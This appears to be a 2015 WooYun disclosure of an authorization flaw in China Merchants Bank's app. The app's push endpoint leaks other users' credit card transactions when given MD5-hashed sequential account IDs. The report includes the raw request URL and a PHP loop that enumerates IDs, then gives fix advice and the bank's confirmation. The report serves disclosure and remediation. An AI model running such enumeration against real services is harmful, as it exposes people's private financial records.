当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-092892

漏洞标题:招商银行设计缺陷可以查询其他用户信用卡消费&还款记录(附测试代码)

相关厂商:招商银行

漏洞作者: 牛奶坦克

提交时间:2015-01-20 14:51

修复时间:2015-03-06 14:52

公开时间:2015-03-06 14:52

漏洞类型:未授权访问/权限绕过

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-20: 细节已通知厂商并且等待厂商处理中
2015-01-21: 厂商已经确认,细节仅向厂商公开
2015-01-31: 细节向核心白帽子及相关领域专家公开
2015-02-10: 细节向普通白帽子公开
2015-02-20: 细节向实习白帽子公开
2015-03-06: 细节向公众公开

简要描述:

招商银行设计缺陷可以查询其他用户信用卡消费&还款记录(附测试代码)。其实我也怀疑银行这样设计是不认为这些数据就是影响不大的呢,带着这个疑问提交给厂商验证吧。
PS:乌云算法升级了,核心掉了 - - #

详细说明:

一直使用招行的信用卡客户端,有个疑问一直纠结着我,就是每次不用我帐号密码登录就能给我推送消费和还款信息,多年经验告诉我这里没问题就怪了。。但这样的通知放在认证外,是否也说明这种信息没啥影响呢?想在乌云求个答案,了了心思。

0.jpg


数据包是这样的,如图

2.jpg


文本如下

http://mlife.cmbchina.com/PlutoPushProxy/queryMessageFromClient.json?_ver=4.2.0&_requuid=EC92A073-39E9-0467-4C2D-59479A237C88&_pla=cmblife_iphone_4.2.0_&_pro=0&_appId=202cb962ac59075b964b07152d234b70&_r=YES&_iv=24&_accountId=1233e1af18894e0b3e0a79c37771b5ee&_uid=202cb962ac59075b964b07152d234b70&DeviceID=202cb962ac59075b964b07152d234b70&appId=202cb962ac59075b964b07152d234b70&_ss=888*888&_mt=iphone100
page=1&category=


通过分析发现,这么多参数其实都是用来做个统计,真正有效的其实是 _accountId 这个参数,但这个参数是个hash啊。没关系解密看一下发现是个数字,应该是用户ID吧。

1.jpg


数字随便加几个,减几个然后再次md5看看结果呢。

漏洞证明:

给出一段证明代码,用来“遍历”信息,为了防止他人利用,curlsend函数定义不放出

for ($i=0; $i < 9 ; $i++) { 	//Demo,仅遍历10个ID
$userid = md5("011990180".$i);
$url = "http://mlife.cmbchina.com/PlutoPushProxy/queryMessageFromClient.json?_ver=4.2.0&_requuid=EC92A073-39E9-0467-4C2D-59479A237C88&_pla=cmblife_iphone_4.2.0_&_pro=0&_appId=202cb962ac59075b964b07152d234b70&_r=YES&_iv=24&_accountId=$userid&_uid=267536746a28e3b3b92428120f84c376&DeviceID=202cb962ac59075b964b07152d234b70&appId=202cb962ac59075b964b07152d234b70&_ss=888*888&_mt=iphone100";
$res = json_decode(curlsend($url,1,1,'page=1&category='));
if (count($res->messages) > 0) {
echo "User : 011990180".$i." $userid => exists ! \r\n";
}
}


10个ID内有3个存在

res.png


分别请求一下

1.png


2.png


3.png


已经可以了吧,结贴。
PS:对了 page=1&category= 里面page参数应该是可以翻页的,不测了。

修复方案:

那个ID在服务端加个salt吧,可以解密出来就代表可以伪造了。
另外其他那几个花花绿绿的id也没起到什么验证做用,要不加个签名也防止篡改?

版权声明:转载请注明来源 牛奶坦克@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:9

确认时间:2015-01-21 09:51

厂商回复:

感谢对招行安全的关注。

最新状态:

2015-01-21:漏洞已修复